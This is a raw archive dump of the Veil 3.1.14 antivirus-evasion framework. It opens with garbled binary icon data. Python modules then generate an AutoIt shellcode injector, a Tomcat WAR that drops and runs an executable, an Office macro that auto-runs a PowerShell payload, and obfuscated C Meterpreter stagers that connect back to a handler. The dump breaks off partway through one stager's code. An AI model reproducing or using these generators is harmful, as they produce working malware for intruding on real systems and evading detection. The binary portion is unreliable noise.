Æœo3ÿq6ÿžs8ÿ t;ÿ¡v=ÿ•qBÿŒvZÿŽ|fÿ‚qÿ’‰}ÿ•‰ÿ˜—•ÿ¢¢¢ÿ°°°ÿ»»»ÿ¾¾¾ÿÀÀÀÿÃÃÃÿÅÅÅÿÇÇÇÿ¦¡œÿ±„Nÿ²…Nÿ³…Mÿ³†Lÿ´†Lÿµ†Kÿ™h/ÏŠ["ßq6ÿ¬ˆYÿ±‘fÿ«‡Wÿ¥}Iÿ¢xAÿ¤yCÿ¥{Eÿ¦{Fÿ§}Hÿ¨~Iÿ¨Jÿ¢{JÿšvJÿ“tMÿ•yXÿ—€dÿš‡pÿŽ|ÿ –‰ÿšƒhÿ²…Nÿ³…Mÿ³†Lÿ´†Lÿµ†Kÿ¶†Jÿ”c*µe2Ž`'÷¢yBÿÚÞßÿ¿Öÿ_·ÝÿKµáÿK³Úÿ]­Æÿ†©¯ÿȾ®ÿ˸¡ÿů’ÿÀ¥„ÿ»›uÿ¶’fÿ±‰Xÿ®ƒNÿ¯ƒNÿ°„Nÿ°„Mÿ±„Nÿ²…Nÿ³…Mÿ³†Lÿ´†Lÿµ†Kÿµ†Jÿ·†Iÿ^%œe2”g/ÿ||dÿ-«åÿ+Áþÿ5Êþÿ<Ñþÿ@ÔÿÿBÖþÿ=Óþÿ>¸ãÿ·ÐÛÿçççÿçççÿçççÿæææÿæææÿäãâÿßÚÓÿÚÐÄÿÕƵÿн¦ÿË´—ÿǪ‡ÿ¡wÿ¾˜hÿ¹Vÿ·†Iÿ·†GÿŠXƒf3,†nEÿ¥åÿ)Àþÿ7ÌþÿE×þÿLÝþÿPàþÿQàþÿLÝþÿBÖþÿ9¼éÿÑÛàÿèèèÿèèèÿçççÿçççÿçççÿçççÿçççÿçççÿçççÿçççÿçççÿçççÿçççÿæææÿǦ|ÿ¸†FÿNji7ENƒÿ!¹ÿÿ1ÇÿÿCÖþÿRáþÿXæÿÿZçÿÿYæþÿUãþÿLÞÿÿ?Ôÿÿ‚ÁÚÿêêêÿêêêÿéééÿéééÿéééÿéééÿéééÿéééÿèèèÿèèèÿèèèÿèèèÿèèèÿèèèÿË®ˆÿ¸†DÿtB QvE^5·ÿ%½ÿÿ8ÍÿÿLÝþÿZçþÿ]éÿÿ]éÿÿ]éþÿZçþÿRáÿÿFÙÿÿb¿àÿëëëÿëëëÿëëëÿëëëÿëëëÿêêêÿêêêÿêêêÿêêêÿêêêÿêêêÿêêêÿêêêÿêêêÿÈ¥xÿ¶ƒ@ÿf38~Ow2“¼ÿ(¿þÿ<ÑÿÿPàþÿ\éþÿ]éþÿ]éÿÿ]éþÿ[èþÿUãþÿJÜÿÿ`ÀáÿìììÿìììÿìììÿìììÿëëëÿëëëÿëëëÿëëëÿëëëÿëëëÿëëëÿëëëÿëëëÿëëëÿÛfÿ¯{9ÿe2„U 3”¼ÿ)Áþÿ=ÒþÿRáþÿIÌèÿ]éþÿ]éþÿ]éþÿ\èþÿWåþÿMÞþÿcÃáÿîîîÿîîîÿîîîÿîîîÿîîîÿíííÿíííÿíííÿíííÿíííÿìììÿìììÿìììÿìììÿÀ’Tÿ§s0þf3ˆZ%©4”½ÿ)Áÿÿ=ÒÿÿRáþÿGÊæÿ]éÿÿ]éÿÿ]éþÿ\éþÿXæÿÿQáÿÿV¼ÜÿµÎÚÿ´ÎÚÿ´ÎÚÿ´ÎÚÿîîîÿïïïÿîîîÿïïïÿîîîÿîîîÿîîîÿîîîÿîîîÿíííÿ»ˆBÿŸj)ë‹^)Â4”½ÿ)Áÿÿ=ÒÿÿRáþÿGÊæÿ]éÿÿ]éÿÿ]éþÿ]éþÿZçÿÿVäÿÿOàþÿHÛþÿAÕÿÿ8Ïÿÿ$³èÿìîïÿðððÿðððÿïïïÿïïïÿïïïÿïïïÿïïïÿïïïÿëæáÿº…=ÿh&Òc/Ü4•¾ÿ)Áþÿ=ÒÿÿRáþÿGÊæÿ]éþÿ]éÿÿ]éþÿ]éþÿ\èþÿYçÿÿVäþÿ5“¦ÿ\jÿ>Éïÿ+¸èÿîðñÿòòòÿòòòÿñññÿñññÿñññÿñññÿñññÿðððÿçÝÐÿ»…:ÿšd"¹”h3ô4•¾ÿ)Áþÿ=ÒþÿRáþÿGÊæÿ]éþÿ]éþÿ]éþÿ]éþÿ\éþÿ\èþÿ[çþÿÿÿ+†ÿ.ºèÿïñòÿóóóÿóóóÿóóóÿóóóÿóóóÿòòòÿòòòÿòòòÿãÓ¿ÿ¼„8ÿ“] e2›o;ÿ4•¾ÿ)Áÿÿ=ÒÿÿRáþÿGÊæÿ]éþÿ]éÿÿ]éþÿ\èþÿ[çÿÿZçÿÿYæþÿ2†•ÿLWÿ?Æéÿ2¸æÿóôôÿôôôÿôôôÿôôôÿôôôÿôôôÿôôôÿóóóÿóóóÿÞɬÿ¼„5ÿŒW‡e2(£xCÿ5•¾ÿ)Áÿÿ=ÒÿÿRáþÿYãúÿEÇäÿ]éÿÿ[èþÿYæþÿVäÿÿSâÿÿPàþÿMÞþÿGÚÿÿ<ÑýÿsÀÞÿöööÿöööÿöööÿöööÿöööÿõõõÿõõõÿõõõÿõõõÿÚ¿™ÿ½ƒ2ÿ…Pni6A©Jÿ5•¾ÿ)Áþÿ=ÒÿÿRáþÿ]éþÿTÜôÿCÆãÿDÇæÿJÓñÿKÙúÿGØûÿ>Ï÷ÿ4ÀìÿI½äÿ‘Éàÿóõöÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿ÷÷÷ÿÕ´†ÿ½ƒ0ÿwC TvEZ«€Lÿ5–¾ÿ)Áþÿ=ÒþÿRáþÿ]éþÿ]éþÿ[èþÿVäþÿFÒóÿ‰¾ÔÿÆÛåÿÏàéÿêðóÿùùùÿùùùÿùùùÿùùùÿùùùÿøøøÿøøøÿøøøÿøøøÿøøøÿøøøÿøøøÿЩqÿ¼€,ÿg4;zIi¬Lÿ5•¿ÿ)Àÿÿ=ÑÿÿQáþÿ]éþÿ]éÿÿZçÿÿTãþÿIÛþÿ«ÓäÿûûûÿûûûÿûûûÿûûûÿúúúÿúúúÿúúúÿúúúÿúúúÿúúúÿúúúÿúúúÿúúúÿúúúÿùùùÿË[ÿ´x%ÿe2"e2‡W$©,¼ô'¾ÿÿ9ÏÿÿMÞþÿZçþÿ\èÿÿXæÿÿPàþÿC×þÿ«ÔåÿüüüÿüüüÿüüüÿûûûÿûûûÿüüüÿüüüÿûûûÿûûûÿûûûÿûûûÿûûûÿûûûÿûûûÿûûûÿÆ‘Eÿ«pÿe2 ’Ô·$»þÿ4ÉÿÿE×þÿQàþÿUãþÿRáÿÿIÛþÿ;ÐýÿšŸÊʹ¨Óξ¯ìÝÒÈþìæáÿúùøÿýýýÿýýýÿýýýÿýýýÿýýýÿýýýÿüüüÿüüüÿüüüÿüüüÿÀ….ÿ£hïv¯F«îú,Âþÿ8ÍþÿCÕþÿHÚþÿGÚþÿ>Óþÿ ÑÈe˜e2e2 h79‡`8R}\k«u„· ‰Á¬˜·Ê¸§Ðξ®éÛÐÄýêäÝÿõïçÿ½~#ÿV°n£0“ÍŸ£ÛÝ&¯äø'®ßî#§×‰»oe˜e2e2f35n:Je2ààÀÀÀÀÀÀÀÀÀÀ€€€€€€€€€€€ÀÀ àÿ(  X8 ¨a@±ZJ6¨fff¢XXX–CCCŒ///|bA$ „Sƒ•e ÿ—i'ÿœˆjÿ¾¾¾ÿÂÂÂÿÇÇÇÿÌÌÌÿÐÐÐÿÍÍÍÿÂÂÂù˜{ZÍp;©œn9ŠZ&?ŠZ—i'ÿšl-ÿžwÿ¹¹¹ÿ¾¾¾ÿÂÂÂÿÇÇÇÿÌÌÌÿÐÐÐÿÔÔÔÿ¤ƒZÿ¯ƒNÿ°„Nÿ q;¬^ ·šl-ÿœo3ÿ’‚ÿ´´´ÿ¹¹¹ÿ¾¾¾ÿÂÂÂÿÇÇÇÿÌÌÌÿÎÎÎÿ£}Nÿ°„Nÿ²…Nÿžo8“b&Ðœo3ÿžs8ÿ›”Šÿ®®®ÿ´´´ÿ¹¹¹ÿ¾¾¾ÿÂÂÂÿÇÇÇÿ¿¾¾ÿ­‚Mÿ²…Nÿ³†Lÿ›l4z“e+é¦Kÿ¤{FÿšvHÿš}Xÿž…fÿ¡sÿ¦•ÿ«žÿ°§ÿª •ÿ²…Nÿ³†Lÿµ†Kÿ—f-ae2o?ýpÂæÿGÂïÿJÂçÿr¼ÏÿËǽÿÒñÿͺ£ÿȱ”ÿħ…ÿÀžvÿ¼–fÿ¸ŒUÿ·†Iÿ["Hh5E”®ÿ5ÊþÿOßþÿUãþÿLÝþÿsËèÿéééÿèèèÿèèèÿèèèÿèèèÿçççÿçççÿÁ˜dÿ|I/zJ5-¨ÜÿD×þÿ\éþÿ]éþÿWåþÿUÍïÿëëëÿëëëÿëëëÿëëëÿëëëÿêêêÿêêêÿ¼Vÿf3†X#N.ªÞÿHÙþÿSÚóÿ]éþÿZçþÿVÏïÿÑÞäÿÑÞäÿîîîÿîîîÿîîîÿíííÿíííÿ°~<úf3Ža,h/«ÞÿHÚþÿRÙòÿ]éþÿ\èþÿUäþÿ7¨Ãÿ1Áïÿïððÿñññÿðððÿðððÿìéäÿ­w1â”g3/«ÞÿHÚþÿRÙòÿ]éþÿ\éþÿZçþÿ8?ÿ3°ÕÿòóóÿóóóÿóóóÿóóóÿêáÔÿªs+ɘk7š/«ÞÿHÚþÿTÜôÿP×òÿQÞúÿJÚüÿDÍóÿÔìÿ÷÷÷ÿöööÿöööÿöööÿçØÃÿªq&°›n:°/«ÞÿGÙþÿ]éþÿXåþÿqÏêÿãìñÿöøøÿúúúÿùùùÿùùùÿùùùÿùùùÿãίÿ§m —„T ,"¨äê@ÓþÿWåþÿQàþÿiÇâòåÝÕïðìèÿüûûÿüüüÿüüüÿüüüÿüüüÿßÚÿ£h~•Ó\'´ìß6Ãðù3¾ê̘É5e2 yM!#¥‡j<¼¦‘UÌ»«nÓÅ·‡¾—dŸT-€¬A€¬A€¬A€¬A€¬A€¬A¬A¬A¬A¬A¬A¬A¬A¬A¬A‚¬A00¨ ¨h ,•00 ¨%  ¨ hVeil-3.1.14/tools/evasion/payloads/000077500000000000000000000000001365017756100171325ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/__init__.py000066400000000000000000000000001365017756100212310ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/autoit/000077500000000000000000000000001365017756100204375ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/autoit/shellcode_inject/000077500000000000000000000000001365017756100237355ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/autoit/shellcode_inject/flat.py000066400000000000000000000073371365017756100252470ustar00rootroot00000000000000""" AutoIT wrapper for shellcode injection Module built by @harmj0y Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required options self.shortname = "Inline" self.description = "VirtualAlloc pattern for shellcode injection" self.language = "autoit" self.rating = "Normal" self.extension = "au3" self.name = "AutoIt Flat Shellcode Injector" self.path = "autoit/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] } def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # get it in AutoITs format Shellcode = "0x" + ''.join(Shellcode.split("\\x")) total_size = len(Shellcode) RandFuncName = evasion_helpers.randomString() RandArgName = evasion_helpers.randomString() RandASMVarName = evasion_helpers.randomString() RandASMBufferName = evasion_helpers.randomString() RandBinBufferName = evasion_helpers.randomString() length_limit = 4000 # keep that pesky tray icon from appearing payload_code = "#NoTrayIcon\n" payload_code += RandFuncName + '(fileread("%WinDir%\\system32\\calc.exe"))\n' payload_code += 'Func ' + RandFuncName + '($' + RandArgName + ')\n' if total_size > length_limit: all_lines = [Shellcode[i:i+length_limit] for i in range(0, len(Shellcode), length_limit)] first_run = True for line in all_lines: if first_run: payload_code += '\tLocal $' + RandASMVarName + '="' + line + '"\n' first_run = False else: payload_code += '\t$' + RandASMVarName + ' = $' + RandASMVarName + ' & "' + line + '"\n' else: payload_code += '\tLocal $' + RandASMVarName + '="' + Shellcode + '"\n' payload_code += '\tLocal $' + RandASMBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandASMVarName + ') & "]")\n' payload_code += '\tLocal $' + RandBinBufferName + ' = DllStructCreate("byte[" & BinaryLen($' + RandArgName + ') & "]")\n' payload_code += '\tDllStructSetData($' + RandASMBufferName + ', 1, $' + RandASMVarName + ')\n' payload_code += '\tDllStructSetData($' + RandBinBufferName + ', 1, $' + RandArgName + ')\n' payload_code += '\tLocal $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($' + RandASMBufferName + '), "ptr", DllStructGetPtr($' + RandBinBufferName + '), "int", 0, "int", 0, "int", 0)\n' payload_code += "EndFunc\n" self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/auxiliary/000077500000000000000000000000001365017756100211415ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/auxiliary/__init__.py000066400000000000000000000000001365017756100232400ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/auxiliary/coldwar_wrapper.py000066400000000000000000000165001365017756100247100ustar00rootroot00000000000000""" Auxiliary module that takes an executable file (.exe) and converts it into a .war file, specifically for deploying against Tomcat. 99% of the code came from the metasploit project and their war payload creation techniques Module built by @christruncer """ from tools.evasion.evasion_common import evasion_helpers from lib.common import helpers from binascii import hexlify import settings import zipfile import random import string import os import sys class PayloadModule: def __init__(self, cli_obj): # required options self.description = "Auxiliary script which converts a .exe file to .war" self.language = "python" self.rating = "Normal" self.extension = "war" self.name = "Coldwar Wrapper" self.path = "auxuliary/coldwar_wrapper" self.cli_opts = cli_obj self.payload_source_code = "" self.required_options = { "ORIGINAL_EXE" : ["", "Path to a .exe file to convert to .war file"] #/usr/share/windows-binaries/nc.exe } def generate(self): # Set up all our variables var_hexpath = evasion_helpers.randomString() var_exepath = evasion_helpers.randomString() var_data = evasion_helpers.randomString() var_inputstream = evasion_helpers.randomString() var_outputstream = evasion_helpers.randomString() var_numbytes = evasion_helpers.randomString() var_bytearray = evasion_helpers.randomString() var_bytes = evasion_helpers.randomString() var_counter = evasion_helpers.randomString() var_char1 = evasion_helpers.randomString() var_char2 = evasion_helpers.randomString() var_comb = evasion_helpers.randomString() var_exe = evasion_helpers.randomString() var_hexfile = evasion_helpers.randomString() var_proc = evasion_helpers.randomString() var_name = evasion_helpers.randomString() var_payload = evasion_helpers.randomString() random_war_name = evasion_helpers.randomString() # Variables for path to our executable input and war output ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" try: # read in the executable with open(ORIGINAL_EXE, 'rb') as orig_binary: raw = orig_binary.read() txt_exe = hexlify(raw) txt_payload_file = open(var_hexfile + ".txt", 'wb') txt_payload_file.write(txt_exe) txt_payload_file.close() except IOError: print(helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True)) return "" # Set up our JSP files used for triggering the payload within the war file jsp_payload = "<%@ page import=\"java.io.*\" %>\n" jsp_payload += "<%\n" jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" jsp_payload += "String " + var_data + " = \"\";\n" jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" jsp_payload += "}\n" jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" jsp_payload += "FileOutputStream " + var_outputstream + " = new FileOutputStream(" + var_exepath + ");\n" jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" jsp_payload += var_inputstream + ".close();\n" jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" jsp_payload += "{\n" jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter+ " + 1];\n" jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" jsp_payload += var_comb + " <<= 4;\n" jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" jsp_payload += "}\n" jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" jsp_payload += var_outputstream + ".close();\n" jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" jsp_payload += "%>\n" # Write out the jsp code to file with open(var_payload + ".jsp", 'w') as jsp_file_out: jsp_file_out.write(jsp_payload) # MANIFEST.MF file contents, and write it out to disk manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" with open("MANIFEST.MF", 'w') as man_file: man_file.write(manifest_file) # web.xml file contents web_xml_contents = "\n" web_xml_contents += "\n" web_xml_contents += "\n" web_xml_contents += "\n" web_xml_contents += "" + var_name + "\n" web_xml_contents += "/" + var_payload + ".jsp\n" web_xml_contents += "\n" web_xml_contents += "\n" # Write the web.xml file to disk with open("web.xml", 'w') as xml_file: xml_file.write(web_xml_contents) # Create the directories needed for the war file, and move the needed files into them os.system("mkdir -p META-INF") os.system("mkdir -p WEB-INF") os.system("mv -f web.xml WEB-INF/") os.system("mv -f MANIFEST.MF META-INF/") # Make the war file by zipping everything together myZipFile = zipfile.ZipFile(war_file, 'w') myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) myZipFile.close() with open(war_file, 'rb') as f: payload_code = f.read() # Clean up the individual files, you can always unzip the war to see them again os.system("rm -rf WEB-INF") os.system("rm -rf META-INF") os.system("rm -f " + var_payload + ".jsp") os.system("rm -f " + var_hexfile + ".txt") os.system("rm -f " + war_file) # Return self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/auxiliary/macro_converter.py000066400000000000000000000066541365017756100247160ustar00rootroot00000000000000""" This module is designed to take a windows powershell batch script made by Veil-Evasion powershell/virtual module and convert it to a macro Module built by @christruncer but original conversion code was developed by khr040sh. Blog post available at: https://khr0x40sh.wordpress.com/2014/06/02/embedding-veil-powershell-payloads-into-office-documents/ """ from lib.common import helpers class PayloadModule: def __init__(self, cli_obj): # required options self.description = "Auxiliary script which converts Veil's powershell batch script to macro code" self.language = "powershell" self.rating = "Normal" self.extension = "txt" self.name = "Macro Converter" self.path = "auxuliary/macro_converter" self.cli_opts = cli_obj self.payload_source_code = "" self.required_options = { "POSH_BATCH": ["", "Path to a powershell batch script"], "ARCHITECTURE": ["x86", "x86 or x64"] } def generate(self): # Variables for path to our executable input and war output orig_posh_batch = self.required_options["POSH_BATCH"][0] try: # read in the executable with open(orig_posh_batch, 'r') as bat_file: batch_lines = bat_file.readlines() except IOError: print(helpers.color("\n [!] Powershell Script \"" + orig_posh_batch + "\" not found\n", warning=True)) return "" cut = [] for line in batch_lines: if "@echo off" not in line: first = line.split('else') # split on else to truncate the back half # split on \" cut = first[0].split('\\"', 4) # get rid of everything before powershell cut[0] = cut[0].split('%==x86')[1] cut[0] = cut[0][2:] # get rid of trailing parenthesis cut[2] = cut[2].strip(" ") cut[2] = cut[2][:-1] top = "Sub Workbook_Open()\r\n" top = top + "Dim str As String\r\n" top = top + "Dim exec As String\r\n" # insert '\r\n' and 'str = str +' every 48 chars after the first 54. payL = self.formStr("str", str(cut[1])) # double up double quotes, add the rest of the exec string idx = cut[0].index('"') cut[0] = cut[0][:idx] + '"' + cut[0][idx:] cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\"" execStr = self.formStr("exec", str(cut[0])) shell = "Shell(exec)" bottom = "End Sub\r\n\r\n" PayloadCode = "" PayloadCode = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" # Return self.payload_source_code = PayloadCode return def formStr(self, varstr, instr): holder = [] str1 = "" str2 = "" print(self.required_options['ARCHITECTURE']) if varstr == "exec" and self.required_options['ARCHITECTURE'][0] == "x64": str1 = varstr + ' = "C:\\Windows\\syswow64\\windowspowershell\\v1.0\\' + instr[:54] + '"' else: str1 = varstr + ' = "' + instr[:54] + '"' for i in range(54, len(instr), 48): holder.append(varstr + ' = ' + varstr +' + "' + instr[i:i+48]) str2 = '"\r\n'.join(holder) str2 = str2 + "\"" str1 = str1 + "\r\n" + str2 return str1 Veil-3.1.14/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py000066400000000000000000000033031365017756100256200ustar00rootroot00000000000000""" Simple auxiliary module that will take a specified python source file and compile it to an executable using PyInstaller. Module built by @harmj0y """ from lib.common import helpers from tools.evasion.evasion_common import encryption class PayloadModule: def __init__(self, cli_obj): # required options self.description = "Auxiliary pyinstaller wrapper for python source files" self.language = "python" self.rating = "Normal" self.extension = "py" self.name = "PyInstaller Wrapper" self.path = "auxuliary/pyinstaller_wrapper" self.cli_opts = cli_obj self.payload_source_code = "" self.required_options = { "PYTHON_SOURCE" : ["", "A Python source file to compile with pyinstaller"], # /path/to/any/python/file.py "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_PYHERION" : ["N", "Use the pyherion encrypter"] } def generate(self): PYTHON_SOURCE = self.required_options["PYTHON_SOURCE"][0] try: # read in the python source with open(PYTHON_SOURCE, 'r') as f: payload_code = f.read() except IOError: print(helpers.color("\n [!] PYTHON_SOURCE file \"" + PYTHON_SOURCE + "\" not found\n", warning=True)) return "" # example of how to check the internal options if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) # return everything self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/c/000077500000000000000000000000001365017756100173545ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/c/.gitignore000066400000000000000000000000061365017756100213400ustar00rootroot00000000000000*.pyc Veil-3.1.14/tools/evasion/payloads/c/__init__.py000066400000000000000000000000001365017756100214530ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/c/meterpreter/000077500000000000000000000000001365017756100217125ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/c/meterpreter/__init__.py000066400000000000000000000000001365017756100240110ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/c/meterpreter/rev_http.py000066400000000000000000000306501365017756100241230ustar00rootroot00000000000000""" Obfuscated, pure C windows/meterpreter/reverse_http Implements various randomized string processing functions in an attempt to obfuscate the call tree. Also compatible with Cobalt-Strike's Beacon. Original reverse_tcp inspiration from: https://github.com/rsmudge/metasploit-loader Module built by @harmj0y """ import random from tools.evasion.evasion_common import evasion_helpers class PayloadModule: def __init__(self, cli_obj): # required options self.shortname = "meter_rev_http" self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" self.language = "c" self.extension = "c" self.rating = "Excellent" self.name = "Pure C Reverse HTTP Stager" self.path = "c/meterpreter/rev_http" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["8080", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] } def generate(self): sumvalue_name = evasion_helpers.randomString() checksum_name = evasion_helpers.randomString() winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include " , "#include ", "#include ", "#include ", "#include "] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", "#include ", "#include "] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include \n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = evasion_helpers.randomString() retval_name = evasion_helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" %(retval_name) code += "for (i=0; i" , "#include ", "#include ", "#include ", "#include "] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", "#include ", "#include "] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include \n" code += "\n".join(includes) + "\n" #real - service related headers (check the stub) hStatusName = evasion_helpers.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = evasion_helpers.randomString() retval_name = evasion_helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" %(retval_name) code += "for (i=0; i" , "#include ", "#include ", "#include "] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", "#include ", "#include "] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include \n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4), evasion_helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function 